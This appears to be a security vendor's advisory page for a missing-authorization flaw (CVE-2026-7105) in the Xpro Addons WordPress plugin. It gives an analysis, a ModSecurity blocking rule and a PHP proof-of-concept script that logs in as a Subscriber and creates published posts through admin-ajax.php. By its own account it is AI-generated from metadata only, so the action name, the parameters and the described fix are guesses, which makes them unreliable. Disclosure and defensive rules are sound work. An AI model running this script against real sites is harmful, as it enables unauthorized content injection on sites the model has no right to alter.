Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-7105: Xpro Addons <= 1.5.1 Missing Authorization to Authenticated (Subscriber+) Arbitrary Post Creation via get_menu_content_editor() Function PoC, Patch Analysis & Rule

CVE ID CVE-2026-7105
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.5.1
Patched Version —
Disclosed August 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-7105 (metadata-based): The Xpro Addons plugin for WordPress (slug: xpro-elementor-addons) versions up to and including 1.5.1 contains a missing authorization vulnerability in the get_menu_content_editor() function. This flaw allows authenticated attackers with Subscriber-level access or higher to create arbitrary published posts of the custom post type ‘xpro_content’ with attacker-controlled titles. The CVSS score is 4.3 (Medium), vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N, indicating low integrity impact but no confidentiality or availability impact. No code diff is available for analysis.

Root Cause: The root cause is CWE-862 (Missing Authorization). The get_menu_content_editor() function lacks a capability check, allowing any authenticated user to invoke it and create xpro_content posts. This is inferred from the CVE description, which explicitly mentions the missing capability check on that function. Atomic Edge research confirms that this pattern is common in WordPress plugins where AJAX actions or REST endpoints are registered without proper permission callbacks. Since no source code is available, the exact implementation (AJAX handler, REST route, or direct function call) is not confirmed, but the vulnerability description strongly suggests it is an AJAX action exposed via admin-ajax.php.

Exploitation: An attacker with Subscriber-level credentials can send a POST request to /wp-admin/admin-ajax.php with the action parameter set to a value derived from the function name, such as get_menu_content_editor, while including parameters for the post title, content, and status. The action name is inferred from the vulnerable function name, common in WordPress plugin development. The attacker must be authenticated; no special nonce is required due to the missing authorization check. The payload would include a title and content for the new xpro_content post, which is created with published status by default based on the vulnerability description stating ‘arbitrary published posts’. The created posts are publicly queryable on the front-end, enabling content injection and SEO spam.

Remediation: The fix likely requires adding a capability check to the get_menu_content_editor() function. The patch in version 1.5.2 probably introduces a check such as current_user_can(‘edit_posts’) or a custom capability, and may also add nonce verification. Atomic Edge analysis infers that the developers added an authorization check to the AJAX handler or function, ensuring only users with appropriate permissions can create xpro_content posts. This aligns with CWE-862 remediation: enforce access control checks before performing sensitive actions.

Impact: Successful exploitation allows an authenticated attacker with minimal privileges (Subscriber) to create arbitrary published posts of the xpro_content custom post type. This leads to content injection, SEO spam, and database pollution. The integrity impact is low, as the attacker cannot modify existing content or escalate privileges, but the ability to inject content into a public-facing site can damage reputation and search engine rankings. No confidentiality or availability impact is expected.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-7105 (metadata-based)
# Blocks unauthorized creation of xpro_content posts via the get_menu_content_editor AJAX action.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20267105,phase:2,deny,status:403,chain,msg:'CVE-2026-7105: Xpro Addons missing authorization - get_menu_content_editor',severity:'CRITICAL',tag:'CVE-2026-7105'"
    SecRule ARGS_POST:action "@streq get_menu_content_editor" "chain"
        SecRule ARGS_POST:title "@rx ^.*$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-7105 - Xpro Addons <= 1.5.1 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Post Creation via get_menu_content_editor() Function

$target_url = 'http://example.com'; // Change to your WordPress site URL
$username = 'subscriber'; // A valid Subscriber-level username
$password = 'password'; // The password for that user

// Step 1: Authenticate to obtain cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Send AJAX request to create a new xpro_content post
// The action name is inferred from the vulnerable function name: get_menu_content_editor
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'get_menu_content_editor',
    'title' => 'Atomic Edge PoC Post',
    'content' => 'This is a proof-of-concept post created by an unprivileged user.',
    'status' => 'publish'
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 3: Check the response
echo "HTTP Status: $http_coden";
echo "Response: $responsen";

// If successful, the response may contain the post ID or a success message.
// The post is publicly queryable, so you can verify by visiting the site's front-end.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.